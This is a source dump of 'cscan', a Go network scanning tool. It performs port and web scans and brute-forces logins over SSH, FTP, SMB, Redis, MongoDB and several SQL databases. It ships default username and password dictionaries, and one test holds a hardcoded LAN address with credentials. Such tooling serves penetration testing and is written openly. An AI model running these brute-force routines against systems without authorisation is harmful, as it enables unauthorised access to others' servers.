├── config
├── info.go
├── log.go
├── dataType.go
├── logo.go
└── global.go
├── util
├── log
│ └── logPrint.go
├── file
│ ├── writeFile_test.go
│ ├── readFile_test.go
│ ├── writeFile.go
│ └── readFile.go
├── identify
│ ├── ip_test.go
│ └── ip.go
├── view
│ ├── viewPrint.go
│ └── viewPrint_test.go
├── progressBar
│ ├── progress.go
│ └── progress_test.go
└── regex2
│ ├── regexp2.go
│ └── regexp2_test.go
├── control
├── crack
│ ├── crack_test.go
│ ├── dic
│ │ ├── username.txt
│ │ └── password.txt
│ ├── connectLib
│ │ ├── connect_test.go
│ │ ├── rdp.go
│ │ ├── connect.go
│ │ ├── memcached.go
│ │ ├── redis.go
│ │ ├── ftp.go
│ │ ├── smb.go
│ │ ├── ssh.go
│ │ ├── postgres.go
│ │ ├── mongodb.go
│ │ ├── oracle.go
│ │ ├── mysql.go
│ │ └── mssql.go
│ └── crack.go
├── output
│ ├── output_test.go
│ └── output.go
├── newScan
│ ├── crackScan.go
│ ├── portScan.go
│ ├── scan.go
│ ├── webScan.go
│ └── start.go
├── http
│ ├── httpN_test.go
│ └── httpN.go
└── scan
│ ├── portScan_test.go
│ ├── webScan_test.go
│ ├── portScan.go
│ ├── webScan.go
│ └── start.go
├── main.go
├── LICENSE
├── flag
└── flag.go
├── go.mod
├── README.md
└── go.sum
/config/info.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | // 作者
4 | const author = "ifacker"
5 |
6 | // 版本
7 | const version = "1.4"
8 |
--------------------------------------------------------------------------------
/util/log/logPrint.go:
--------------------------------------------------------------------------------
1 | package log
2 |
3 | // 打印 log
4 | //func Print(log any) {
5 | // if config.Debug {
6 | // log2.Println(log)
7 | // }
8 | //}
9 |
--------------------------------------------------------------------------------
/config/log.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | import "log"
4 |
5 | // log 格式化配置
6 | func LogConfigInit() {
7 | log.SetFlags(log.Ldate | log.Ltime | log.Lshortfile)
8 | }
9 |
--------------------------------------------------------------------------------
/control/crack/crack_test.go:
--------------------------------------------------------------------------------
1 | package crack
2 |
3 | import (
4 | "cscan/config"
5 | "testing"
6 | )
7 |
8 | func TestStartCrack(t *testing.T) {
9 | StartCrack(&config.IpOptions{})
10 | }
11 |
--------------------------------------------------------------------------------
/control/output/output_test.go:
--------------------------------------------------------------------------------
1 | package output
2 |
3 | import (
4 | "cscan/config"
5 | "testing"
6 | )
7 |
8 | func TestOutputFile(t *testing.T) {
9 | OutputFile("abcd.CSV", nil, config.MODE_WEB)
10 | }
11 |
--------------------------------------------------------------------------------
/util/file/writeFile_test.go:
--------------------------------------------------------------------------------
1 | package file
2 |
3 | import (
4 | "fmt"
5 | "testing"
6 | )
7 |
8 | func TestWriteFile(t *testing.T) {
9 | body := []byte("hello world")
10 | b := WriteFile("test.txt", body)
11 | fmt.Println(b)
12 | }
13 |
--------------------------------------------------------------------------------
/util/file/readFile_test.go:
--------------------------------------------------------------------------------
1 | package file
2 |
3 | import (
4 | "cscan/config"
5 | "fmt"
6 | "testing"
7 | )
8 |
9 | func TestReadFile(t *testing.T) {
10 | config.Debug = true
11 | body := ReadFile("../../go.mod")
12 | fmt.Println(string(body))
13 | }
14 |
--------------------------------------------------------------------------------
/control/crack/dic/username.txt:
--------------------------------------------------------------------------------
1 | parrot
2 | admin
3 | administrator
4 | mysql
5 | mssql
6 | oracle
7 | root
8 | kali
9 | ubuntu
10 | pi
11 | ftp
12 | www
13 | web
14 | db
15 | wwwroot
16 | data
17 | sa
18 | sql
19 | guest
20 | postgres
21 | sys
22 | system
23 | test
24 | orcl
25 |
--------------------------------------------------------------------------------
/control/newScan/crackScan.go:
--------------------------------------------------------------------------------
1 | package newScan
2 |
3 | import (
4 | "cscan/config"
5 | "cscan/control/crack"
6 | )
7 |
8 | // 对一些特殊端口进行暴力破解
9 | func crackStart(ipOption *config.IpOptions) {
10 | if config.NotCrack {
11 | return
12 | }
13 | crack.StartCrack(ipOption)
14 | }
15 |
--------------------------------------------------------------------------------
/control/crack/connectLib/connect_test.go:
--------------------------------------------------------------------------------
1 | package connectLib
2 |
3 | import (
4 | "fmt"
5 | "testing"
6 | )
7 |
8 | func TestConnect(t *testing.T) {
9 | var connect Connect
10 | connect = &IpCrack{
11 | Ip: "192.168.222.109",
12 | Port: 22,
13 | UserName: "parrot",
14 | Password: "1345",
15 | }
16 | connect.ConnectSSH()
17 | fmt.Println(connect)
18 | }
19 |
--------------------------------------------------------------------------------
/util/file/writeFile.go:
--------------------------------------------------------------------------------
1 | package file
2 |
3 | import (
4 | "cscan/config"
5 | "log"
6 | "os"
7 | )
8 |
9 | // 写入文件
10 | func WriteFile(filepath string, content []byte) bool {
11 | file, err := os.OpenFile(filepath, os.O_WRONLY|os.O_APPEND|os.O_CREATE, 0644)
12 | if err != nil && config.Debug {
13 | log.Println(err)
14 | return false
15 | }
16 | file.Write(content)
17 | return true
18 | }
19 |
--------------------------------------------------------------------------------
/util/identify/ip_test.go:
--------------------------------------------------------------------------------
1 | package identify
2 |
3 | import (
4 | "cscan/config"
5 | "fmt"
6 | "testing"
7 | )
8 |
9 | func TestIpRange(t *testing.T) {
10 | config.LogConfigInit()
11 | config.Debug = true
12 | //IpRange("192.168.11.1-254")
13 | //IpRange("192.168.11.1")
14 | result, _ := IpRange(" 192.168.12.1-20, 192.168.3.3, 192.168.1.1/24")
15 | fmt.Println(len(result), result)
16 |
17 | }
18 |
--------------------------------------------------------------------------------
/control/crack/connectLib/rdp.go:
--------------------------------------------------------------------------------
1 | package connectLib
2 |
3 | //func (crack *IpCrack) ConnectRdp() {
4 | // addr := fmt.Sprintf("%s:%d", crack.Ip, crack.Port)
5 | // err := grdp.Login(addr, "", crack.UserName, crack.Password, config.TimeOutSet)
6 | // if err != nil {
7 | // if strings.Contains(err.Error(), "timeout") {
8 | // if config.Debug {
9 | // log.Println(err)
10 | // }
11 | // }
12 | // } else {
13 | // crack.CrackStatus = true
14 | // }
15 | //}
16 |
--------------------------------------------------------------------------------
/control/crack/connectLib/connect.go:
--------------------------------------------------------------------------------
1 | package connectLib
2 |
3 | type IpCrack struct {
4 | Ip string
5 | Port int
6 | UserName string
7 | Password string
8 | CrackStatus bool // 爆破是否成功
9 | }
10 |
11 | type Connect interface {
12 | ConnectSSH()
13 | ConnectMssql()
14 | ConnectMysql()
15 | ConnectFtp()
16 | ConnectSmb()
17 | ConnectMemcached()
18 | ConnectMongodb()
19 | ConnectOracle()
20 | ConnectPostgres()
21 | ConnectRedis()
22 | //ConnectRdp()
23 | }
24 |
--------------------------------------------------------------------------------
/control/crack/connectLib/memcached.go:
--------------------------------------------------------------------------------
1 | package connectLib
2 |
3 | import (
4 | "cscan/config"
5 | "fmt"
6 | "github.com/bradfitz/gomemcache/memcache"
7 | "log"
8 | )
9 |
10 | // 连接 memcached 协议
11 | func (crack *IpCrack) ConnectMemcached() {
12 | connectData := fmt.Sprintf("%s:%d", crack.Ip, crack.Port)
13 | mc := memcache.New(connectData)
14 | err := mc.Ping()
15 | if err == nil {
16 | crack.CrackStatus = true
17 | } else {
18 | if config.Debug {
19 | log.Println(err)
20 | }
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/util/view/viewPrint.go:
--------------------------------------------------------------------------------
1 | package view
2 |
3 | import "github.com/gookit/color"
4 |
5 | // 打印成功的结果
6 | func PrintlnSuccess(content any) {
7 | color.C256(46).Printf("[+] %v\n", content)
8 | }
9 |
10 | // 打印失败信息
11 | func PrintlnFailed(content any) {
12 | color.C256(1).Printf("[-] %v\n", content)
13 | }
14 |
15 | // 打印基础信息
16 | func PrintlnInfo(content any) {
17 | color.C256(247).Printf("[*] %v\n", content)
18 | }
19 |
20 | // 打印错误信息
21 | func PrintlnError(content any) {
22 | color.Errorf("[Err] %v\n", content)
23 | }
24 |
--------------------------------------------------------------------------------
/util/progressBar/progress.go:
--------------------------------------------------------------------------------
1 | package progressBar
2 |
3 | import (
4 | "github.com/gookit/color"
5 | "sync"
6 | "time"
7 | )
8 |
9 | // 进度条
10 | func Progress(viewText string, channel chan bool, wg *sync.WaitGroup) {
11 |
12 | // 显示加载界面
13 | color.C256(226).Print(" " + viewText)
14 | out:
15 | for {
16 | select {
17 | case <-channel:
18 | break out
19 | default:
20 | color.C256(226).Print(".")
21 | time.Sleep(1 * time.Second)
22 | }
23 | }
24 | //color.C256(226).Println("OK!\n")
25 | wg.Done()
26 | }
27 |
--------------------------------------------------------------------------------
/control/http/httpN_test.go:
--------------------------------------------------------------------------------
1 | package http
2 |
3 | import (
4 | "cscan/config"
5 | "fmt"
6 | "io/ioutil"
7 | "log"
8 | "net/http"
9 | "testing"
10 | )
11 |
12 | func TestNewClient(t *testing.T) {
13 | config.Proxy = "socks5://localhost:1080"
14 | clinet := NewClient()
15 | req, err := http.NewRequest("GET", "https://baidu.com", nil)
16 | if err != nil {
17 | log.Println(err)
18 | }
19 | resp, err := clinet.Do(req)
20 | if err != nil {
21 | log.Println(err)
22 | }
23 | result, _ := ioutil.ReadAll(resp.Body)
24 | fmt.Println(string(result))
25 | }
26 |
--------------------------------------------------------------------------------
/control/newScan/portScan.go:
--------------------------------------------------------------------------------
1 | package newScan
2 |
3 | import (
4 | "cscan/config"
5 | "fmt"
6 | "log"
7 | "net"
8 | )
9 |
10 | // 传入 ipOption,检查端口有没有开放
11 | func PortScan(ipOption *config.IpOption) {
12 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", ipOption.Ip, ipOption.Port), config.TimeOut)
13 | if err != nil && config.Debug {
14 | log.Println(err)
15 | ipOption.PortOpenStatus = false
16 | } else {
17 | if conn != nil {
18 | ipOption.PortOpenStatus = true
19 | } else {
20 | ipOption.PortOpenStatus = false
21 | }
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/control/crack/connectLib/redis.go:
--------------------------------------------------------------------------------
1 | package connectLib
2 |
3 | import (
4 | "cscan/config"
5 | "fmt"
6 | "github.com/go-redis/redis"
7 | "log"
8 | )
9 |
10 | // 连接 redis 协议
11 | func (crack *IpCrack) ConnectRedis() {
12 | option := redis.Options{
13 | Addr: fmt.Sprintf("%s:%d", crack.Ip, crack.Port),
14 | Password: crack.Password,
15 | DB: 0,
16 | DialTimeout: config.TimeOut,
17 | }
18 | client := redis.NewClient(&option)
19 | defer client.Close()
20 | _, err := client.Ping().Result()
21 | if err == nil {
22 | crack.CrackStatus = true
23 | } else {
24 | if config.Debug {
25 | log.Println(err)
26 | }
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/control/http/httpN.go:
--------------------------------------------------------------------------------
1 | package http
2 |
3 | import (
4 | "crypto/tls"
5 | "cscan/config"
6 | "github.com/ifacker/myutil"
7 | "log"
8 | "net/http"
9 | )
10 |
11 | func NewClient() *http.Client {
12 | tr := &http.Transport{
13 | MaxIdleConns: 500,
14 | MaxIdleConnsPerHost: 500,
15 | MaxConnsPerHost: 500,
16 | TLSClientConfig: &tls.Config{
17 | InsecureSkipVerify: true,
18 | },
19 | }
20 |
21 | err := myutil.InitProxy(tr, config.Proxy)
22 | if err != nil && config.Debug {
23 | log.Println(err)
24 | }
25 | httpClient := &http.Client{
26 | Transport: tr,
27 | Timeout: config.TimeOut,
28 | }
29 | return httpClient
30 | }
31 |
--------------------------------------------------------------------------------
/control/crack/connectLib/ftp.go:
--------------------------------------------------------------------------------
1 | package connectLib
2 |
3 | import (
4 | "cscan/config"
5 | "fmt"
6 | "github.com/jlaffaye/ftp"
7 | "log"
8 | )
9 |
10 | // 连接 ftp 协议
11 | func (crack *IpCrack) ConnectFtp() {
12 | Host, Port, Username, Password := crack.Ip, crack.Port, crack.UserName, crack.Password
13 | conn, err := ftp.DialTimeout(fmt.Sprintf("%s:%d", Host, Port), config.TimeOut)
14 | if err == nil {
15 | err = conn.Login(Username, Password)
16 | defer conn.Logout()
17 | if err == nil {
18 | crack.CrackStatus = true
19 | } else {
20 | if config.Debug {
21 | log.Println(err)
22 | }
23 | }
24 | } else {
25 | if config.Debug {
26 | log.Println(err)
27 | }
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "cscan/config"
5 | "cscan/control/newScan"
6 | "cscan/flag"
7 | "fmt"
8 | "time"
9 | )
10 |
11 | var startTime time.Time
12 |
13 | func init() {
14 | // 记录开始时间
15 | startTime = time.Now()
16 | fmt.Println("程序开始执行时的时间:", startTime.Format(time.RFC3339))
17 |
18 | // 初始化 log 配置文件
19 | config.LogConfigInit()
20 | // 打印 logo
21 | fmt.Println(config.Logo)
22 | // 初始化 flag
23 | flag.Init()
24 | }
25 |
26 | func main() {
27 | //scan.StartScans()
28 | newScan.NewStartScans()
29 |
30 | // 记录结束时间
31 | endTime := time.Now()
32 | fmt.Println("程序执行结束时的时间:", endTime.Format(time.RFC3339))
33 |
34 | // 还可以计算执行时间差
35 | duration := endTime.Sub(startTime)
36 | fmt.Printf("程序执行总时间: %v\n", duration)
37 | }
38 |
--------------------------------------------------------------------------------
/control/crack/connectLib/smb.go:
--------------------------------------------------------------------------------
1 | package connectLib
2 |
3 | import (
4 | "cscan/config"
5 | "github.com/stacktitan/smb/smb"
6 | "log"
7 | )
8 |
9 | // 连接 smb 协议
10 | func (crack *IpCrack) ConnectSmb() {
11 | Host, Port, Username, Password := crack.Ip, crack.Port, crack.UserName, crack.Password
12 | options := smb.Options{
13 | Host: Host,
14 | Port: Port,
15 | User: Username,
16 | Password: Password,
17 | Domain: "",
18 | Workstation: "",
19 | }
20 |
21 | session, err := smb.NewSession(options, false)
22 | if err == nil {
23 | session.Close()
24 | if session.IsAuthenticated {
25 | crack.CrackStatus = true
26 | }
27 | } else {
28 | if config.Debug {
29 | log.Println(err)
30 | }
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/util/progressBar/progress_test.go:
--------------------------------------------------------------------------------
1 | package progressBar
2 |
3 | import (
4 | "sync"
5 | "testing"
6 | "time"
7 | )
8 |
9 | func TestProgress(t *testing.T) {
10 | c := make(chan bool)
11 | wg := &sync.WaitGroup{}
12 | viewText := "Test"
13 | wg.Add(1)
14 | go Progress(viewText, c, wg)
15 |
16 | //go func(c chan bool) {
17 | // color.C256(226).Print(" Loading")
18 | //out:
19 | // for {
20 | // select {
21 | // case <-c:
22 | // break out
23 | // default:
24 | // color.C256(226).Print(".")
25 | // time.Sleep(1 * time.Second)
26 | // }
27 | // }
28 | // color.C256(226).Println("OK!\n")
29 | // wg.Done()
30 | //}(c)
31 |
32 | for i := 0; i < 5; i++ {
33 | time.Sleep(1 * time.Second)
34 | }
35 |
36 | c <- true
37 |
38 | wg.Wait()
39 | }
40 |
--------------------------------------------------------------------------------
/control/crack/connectLib/ssh.go:
--------------------------------------------------------------------------------
1 | package connectLib
2 |
3 | import (
4 | "cscan/config"
5 | "fmt"
6 | "golang.org/x/crypto/ssh"
7 | "log"
8 | "time"
9 | )
10 |
11 | // 连接 ssh 协议
12 | func (crack *IpCrack) ConnectSSH() {
13 | clientconfig := &ssh.ClientConfig{
14 | User: crack.UserName,
15 | Auth: []ssh.AuthMethod{ssh.Password(crack.Password)},
16 | Timeout: config.TimeOut,
17 | HostKeyCallback: ssh.InsecureIgnoreHostKey(),
18 | }
19 | address := fmt.Sprintf("%s:%d", crack.Ip, crack.Port)
20 | sshClient, err := ssh.Dial("tcp", address, clientconfig)
21 | time.Sleep(1 * time.Second)
22 | if err == nil {
23 | sshClient.Close()
24 | crack.CrackStatus = true
25 | } else {
26 | if config.Debug {
27 | log.Println(err)
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/control/scan/portScan_test.go:
--------------------------------------------------------------------------------
1 | package scan
2 |
3 | import (
4 | "cscan/config"
5 | "fmt"
6 | "testing"
7 | )
8 |
9 | func TestPortScan(t *testing.T) {
10 | ipOption := config.IpOption{Ip: "localhost", Port: 1080}
11 | PortScan(&ipOption)
12 | if ipOption.PortOpenStatus {
13 | fmt.Println("open")
14 | } else {
15 | fmt.Println("close")
16 | }
17 | }
18 |
19 | func TestPortScans(t *testing.T) {
20 | ipOptions := config.IpOptions{
21 | Ips: []string{"www.baidu.com", "www.taobao.com"},
22 | Ports: []int{443, 80, 88},
23 | }
24 | config.ThreadMax = 10
25 | config.ViewAll = true
26 | PortScans(&ipOptions)
27 | fmt.Println("--------")
28 | for _, option := range ipOptions.IpOption {
29 | fmt.Printf("%s:%d --> %v\n", option.Ip, option.Port, option.PortOpenStatus)
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/util/file/readFile.go:
--------------------------------------------------------------------------------
1 | package file
2 |
3 | import (
4 | "cscan/config"
5 | "embed"
6 | "io"
7 | "log"
8 | "os"
9 | "strings"
10 | )
11 |
12 | // 读取文件
13 | func ReadFile(filePath string) []byte {
14 | file, err := os.OpenFile(filePath, os.O_RDWR, 0644)
15 | if err != nil && config.Debug {
16 | log.Println(err)
17 | }
18 | body, err := io.ReadAll(file)
19 | if err != nil && config.Debug {
20 | log.Println(err)
21 | }
22 | return body
23 | }
24 |
25 | // 读取文件并按行转化成数组类型的 string 类型
26 | func ReadFile2Strings4embed(dic embed.FS, filePath string) []string {
27 | resultByte, err := dic.ReadFile("dic/" + filePath)
28 | if err != nil {
29 | if config.Debug {
30 | log.Println(err)
31 | }
32 | }
33 | resultStr := string(resultByte)
34 | return strings.Split(resultStr, "\n")
35 | }
36 |
--------------------------------------------------------------------------------
/control/crack/connectLib/postgres.go:
--------------------------------------------------------------------------------
1 | package connectLib
2 |
3 | import (
4 | "cscan/config"
5 | "database/sql"
6 | "fmt"
7 | "log"
8 | )
9 |
10 | // 连接 postgres 协议
11 | func (crack *IpCrack) ConnectPostgres() {
12 | Host, Port, Username, Password := crack.Ip, crack.Port, crack.UserName, crack.Password
13 | dataSourceName := fmt.Sprintf("postgres://%s:%s@%s:%d/%s?sslmode=%s", Username, Password, Host, Port, "postgres", "disable")
14 | db, err := sql.Open("postgres", dataSourceName)
15 | if err == nil {
16 | db.SetConnMaxLifetime(config.TimeOut)
17 | defer db.Close()
18 | err = db.Ping()
19 | if err == nil {
20 | crack.CrackStatus = true
21 | } else {
22 | if config.Debug {
23 | log.Println(err)
24 | }
25 | }
26 | } else {
27 | if config.Debug {
28 | log.Println(err)
29 | }
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/control/crack/connectLib/mongodb.go:
--------------------------------------------------------------------------------
1 | package connectLib
2 |
3 | import (
4 | "cscan/config"
5 | "fmt"
6 | "gopkg.in/mgo.v2"
7 | "log"
8 | )
9 |
10 | // 连接 mongodb 协议
11 | func (crack *IpCrack) ConnectMongodb() {
12 | url := ""
13 | if crack.UserName == "" && crack.Password == "" {
14 | url = fmt.Sprintf("mongodb://%s:%d/", crack.Ip, crack.Port)
15 | } else {
16 | url = fmt.Sprintf("mongodb://%s:%s@%s:%d/", crack.UserName, crack.Password, crack.Ip, crack.Port)
17 | }
18 | session, err := mgo.DialWithTimeout(url, config.TimeOut)
19 | //defer session.Close()
20 | if err != nil {
21 | if config.Debug {
22 | log.Println(err)
23 | }
24 | }
25 | err = session.Ping()
26 | if err == nil {
27 | session.Close()
28 | crack.CrackStatus = true
29 | } else {
30 | if config.Debug {
31 | log.Println(err)
32 | }
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/control/crack/connectLib/oracle.go:
--------------------------------------------------------------------------------
1 | package connectLib
2 |
3 | import (
4 | "cscan/config"
5 | "database/sql"
6 | "fmt"
7 | "log"
8 | )
9 |
10 | // 连接 oracle 协议
11 | func (crack *IpCrack) ConnectOracle() {
12 | Host, Port, Username, Password := crack.Ip, crack.Port, crack.UserName, crack.Password
13 | dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%d/orcl", Username, Password, Host, Port)
14 | db, err := sql.Open("oracle", dataSourceName)
15 | if err == nil {
16 | db.SetConnMaxLifetime(config.TimeOut)
17 | db.SetConnMaxIdleTime(config.TimeOut)
18 | db.SetMaxIdleConns(0)
19 | defer db.Close()
20 | err = db.Ping()
21 | if err == nil {
22 | crack.CrackStatus = true
23 | } else {
24 | if config.Debug {
25 | log.Println(err)
26 | }
27 | }
28 | } else {
29 | if config.Debug {
30 | log.Println(err)
31 | }
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/util/view/viewPrint_test.go:
--------------------------------------------------------------------------------
1 | package view
2 |
3 | import (
4 | "fmt"
5 | "github.com/gookit/color"
6 | "testing"
7 | )
8 |
9 | func TestPrintlnSuccess(t *testing.T) {
10 | PrintlnSuccess(fmt.Sprintf("%s, %s", color.C256(165).Sprintf("fuck"), color.C256(214).Sprintf("fucks")))
11 | PrintlnSuccess("a" + color.C256(165).Sprintf("fuck") + "c")
12 | a := "http://www.baidu.com:80"
13 | b := color.C256(46).Sprintf("[") + color.C256(165).Sprintf("%d", 200) + color.C256(46).Sprintf("]")
14 | c := "https://www.baidu.com:443"
15 | d := "[200]"
16 | PrintlnSuccess(c + "\t" + d)
17 | PrintlnSuccess(a + "\t" + b)
18 | }
19 |
20 | func TestPrintlnFailed(t *testing.T) {
21 | PrintlnFailed("fuck, fuck")
22 | }
23 |
24 | func TestPrintlnInfo(t *testing.T) {
25 | PrintlnInfo("fuck")
26 | }
27 |
28 | func TestPrintlnError(t *testing.T) {
29 | PrintlnError("err")
30 | }
31 |
--------------------------------------------------------------------------------
/config/dataType.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | const (
4 | MODE_PORT = 1
5 | MODE_WEB = 2
6 | MODE_CRACK = 3
7 | )
8 |
9 | // WebInfo web 信息
10 | type WebInfo struct {
11 | Url string //网站 URL
12 | Title string // 网站标题
13 | Len int64 // 返回 body 的长度
14 | Code int // 返回的状态码
15 | Url302Jump string // 302跳转后的链接
16 | Server string // header 头中的 server 字段
17 | XPoweredBy string // header 头中的 X-Powered-By 字段
18 | }
19 |
20 | // CrackInfo 要爆破的端口的信息
21 | type CrackInfo struct {
22 | UserName string
23 | Password string
24 | Deal string
25 | }
26 |
27 | type IpOption struct {
28 | Ip string
29 | Port int
30 | PortOpenStatus bool // 端口开放状态
31 | WebInfo WebInfo
32 | CrackInfo CrackInfo
33 | }
34 |
35 | type IpOptions struct {
36 | IpOption []*IpOption
37 | Ips []string
38 | Ports []int
39 | }
40 |
--------------------------------------------------------------------------------
/control/crack/connectLib/mysql.go:
--------------------------------------------------------------------------------
1 | package connectLib
2 |
3 | import (
4 | "cscan/config"
5 | "database/sql"
6 | "fmt"
7 | "log"
8 | )
9 |
10 | // 连接 mysql 协议
11 | func (crack *IpCrack) ConnectMysql() {
12 | Host, Port, Username, Password := crack.Ip, crack.Port, crack.UserName, crack.Password
13 | dataSourceName := fmt.Sprintf("%s:%s@tcp(%s:%d)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, config.TimeOut)
14 | db, err := sql.Open("mysql", dataSourceName)
15 | if err == nil {
16 | db.SetConnMaxLifetime(config.TimeOut)
17 | db.SetConnMaxIdleTime(config.TimeOut)
18 | db.SetMaxIdleConns(0)
19 | defer db.Close()
20 | err = db.Ping()
21 | if err == nil {
22 | crack.CrackStatus = true
23 | } else {
24 | if config.Debug {
25 | log.Println(err)
26 | }
27 | }
28 | } else {
29 | if config.Debug {
30 | log.Println(err)
31 | }
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/control/crack/connectLib/mssql.go:
--------------------------------------------------------------------------------
1 | package connectLib
2 |
3 | import (
4 | "cscan/config"
5 | "database/sql"
6 | "fmt"
7 | "log"
8 | )
9 |
10 | // 连接 mssql 协议
11 | func (crack *IpCrack) ConnectMssql() {
12 | Host, Port, Username, Password := crack.Ip, crack.Port, crack.UserName, crack.Password
13 | dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;encrypt=disable;timeout=%v", Host, Username, Password, Port, config.TimeOut)
14 | db, err := sql.Open("mssql", dataSourceName)
15 | if err == nil {
16 | db.SetConnMaxLifetime(config.TimeOut)
17 | db.SetConnMaxIdleTime(config.TimeOut)
18 | db.SetMaxIdleConns(0)
19 | defer db.Close()
20 | err = db.Ping()
21 | if err == nil {
22 | crack.CrackStatus = true
23 | } else {
24 | if config.Debug {
25 | log.Println(err)
26 | }
27 | }
28 | } else {
29 | if config.Debug {
30 | log.Println(err)
31 | }
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/control/scan/webScan_test.go:
--------------------------------------------------------------------------------
1 | package scan
2 |
3 | import (
4 | "cscan/config"
5 | "fmt"
6 | "testing"
7 | )
8 |
9 | func TestWebScan(t *testing.T) {
10 | //config.LogConfigInit()
11 | //config.Debug = true
12 | ipOption := &config.IpOption{
13 | Ip: "www.baidu.com",
14 | Port: 80,
15 | PortOpenStatus: true,
16 | WebInfo: config.WebInfo{},
17 | }
18 | WebScan(ipOption)
19 | fmt.Println(ipOption)
20 | }
21 |
22 | func TestWebScans(t *testing.T) {
23 | ipOptions := &config.IpOptions{
24 | IpOption: []*config.IpOption{
25 | {
26 | Ip: "www.baidu.com",
27 | Port: 443,
28 | PortOpenStatus: true,
29 | WebInfo: config.WebInfo{},
30 | },
31 | {
32 | Ip: "www.weibo.com",
33 | Port: 80,
34 | PortOpenStatus: true,
35 | WebInfo: config.WebInfo{},
36 | },
37 | },
38 | }
39 | WebScans(ipOptions)
40 | }
41 |
--------------------------------------------------------------------------------
/util/regex2/regexp2.go:
--------------------------------------------------------------------------------
1 | package regex2
2 |
3 | import "github.com/dlclark/regexp2"
4 |
5 | // 正则表达式 全局查找 支持最新规则 (传入 re 参数和将要筛选的内容)
6 | func Regexp2FindAllString(re *regexp2.Regexp, s string) []string {
7 | var matches []string
8 | m, _ := re.FindStringMatch(s)
9 | for m != nil {
10 | matches = append(matches, m.String())
11 | m, _ = re.FindNextMatch(m)
12 | }
13 | return matches
14 | }
15 |
16 | // 正则表达式 简单使用 (传入将要筛选的内容和正则表达式)
17 | func Regexp2SimpleUse(body, regex string) ([]string, error) {
18 | re, err := regexp2.Compile(regex, 0)
19 | if err != nil {
20 | return nil, err
21 | }
22 | regexResult := Regexp2FindAllString(re, body)
23 | return regexResult, nil
24 | }
25 |
26 | // 正则表达式 替换
27 | func Regexp2SimpleReplace(src, dest, regex string) (string, error) {
28 | re, err := regexp2.Compile(regex, 0)
29 | if err != nil {
30 | return "", err
31 | }
32 | result, err := re.Replace(src, dest, -1, -1)
33 | if err != nil {
34 | return "", err
35 | }
36 | return result, nil
37 | }
38 |
--------------------------------------------------------------------------------
/control/crack/dic/password.txt:
--------------------------------------------------------------------------------
1 | 123456
2 | 1q2w3e4r
3 | 1234qwer
4 | !Q@W#E$R
5 | toor
6 | root
7 | admin
8 | admin123
9 |
10 | pass123
11 | pass@123
12 | password
13 | 123123
14 | 654321
15 | 111111
16 | 123
17 | 1
18 | admin@123
19 | Admin@123
20 | admin123!@#
21 | {{USER}}
22 | {{USER}}1
23 | {{USER}}111
24 | {{USER}}123
25 | {{USER}}@123
26 | {{USER}}_123
27 | {{USER}}#123
28 | {{USER}}@111
29 | {{USER}}@2019
30 | {{USER}}@123#4
31 | P@ssw0rd!
32 | P@ssw0rd
33 | Passw0rd
34 | qwe123
35 | 12345678
36 | test
37 | test123
38 | 123qwe
39 | 123qwe!@#
40 | 123456789
41 | 123321
42 | 666666
43 | a123456.
44 | 123456~a
45 | 123456!a
46 | 000000
47 | 1234567890
48 | 8888888
49 | !QAZ2wsx
50 | 1qaz2wsx
51 | abc123
52 | abc123456
53 | 1qaz@WSX
54 | a11111
55 | a12345
56 | Aa1234
57 | Aa1234.
58 | Aa12345
59 | a123456
60 | a123123
61 | Aa123123
62 | Aa123456
63 | Aa12345.
64 | sysadmin
65 | system
66 | 1qaz!QAZ
67 | 2wsx@WSX
68 | qwe123!@#
69 | Aa123456!
70 | A123456s!
71 | sa123456
72 | 1q2w3e
73 | Charge123
74 | Aa123456789
75 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023 ifacker
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/config/logo.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | import (
4 | "fmt"
5 | "github.com/gookit/color"
6 | )
7 |
